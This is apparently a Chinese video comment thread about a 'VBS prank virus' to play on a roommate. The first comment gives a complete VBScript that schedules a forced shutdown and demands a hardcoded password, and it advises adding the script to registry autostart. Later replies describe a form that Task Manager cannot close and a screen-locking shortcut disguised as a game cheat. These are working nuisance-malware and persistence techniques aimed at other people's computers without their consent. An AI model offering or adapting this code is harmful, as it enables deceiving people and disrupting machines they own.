【教程】如何制作一个vbs小病毒来恶搞你的室友（附破解办法）

中二病晚期の漠笙:
铁汁 ===分割=== on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 7200 -c ""为防止沉迷，本机限时使用2小时，如果您想要解除限制，请输入认证密码即可"" ",0 ,true dim a do while(a <> "uid557713893最帅") a = inputbox ("为防止沉迷，本机限时使用2小时，如果您想要解除限制，请输入认证密码即可""认证↓密码"" ","输入密码","密码是什么呢？",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "认证完成，本次限制解除" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "请放心使用，感谢配合" ===分割=== 然后加进开机自启动的注册表里[doge] 猜猜程序的认证码是啥？

【回复】盲猜一个8000，7000肯定不对[doge]
0x00016321:
ennnnn，我10年前就玩过，当时自学VB，还能让他输入骂自己的话，不然关机的，还有就是任务管理器关掉就会关机的那种(此处省略一万字)都玩过[喜极而泣][喜极而泣][喜极而泣]易语言的也玩过

【回复】回复 @悠翼之诗 :可以，只玩在unload事件中加上一句"cancel = 1"任务管理器就关不掉了
【回复】回复 @司空枷锁 : 任务管理器
注册表编辑器MEMZ:
为UP三连需要消耗129KB内存，129KB内存可以下3个马里奥，1个马里奥通关需要23小时，1个马里奥通关后剩下2个平均每个要3小时，按照一寸光阴一寸金来算，29小时为104400秒=104400寸金，一寸金需要231元钱104400寸金＝24116400元，一套海景房需要8000000元，24116400可以购买3套海 景房，所以UP给我3套海景房我就给他一个三连 [doge][doge][doge][doge][doge][doge][doge][doge]

骂我的全是现充:
我直接整一个快捷的运行方式，然后插入一个完全连接的手机界面，因为可以和手机连接，我壁纸上想写几个字，他就能看见几个字，我还把标题改为“暗区突围外挂”，他一但点开这个快捷方式，整个电脑就会被锁住，上面我还给他打了木马病毒四个大字，实际上根本就不是木马病毒，就单纯是切了一个没法关掉的界面，任务管理器结束进序就行了，但我那个朋友不会玩电脑，所以，嘿嘿嘿……[doge]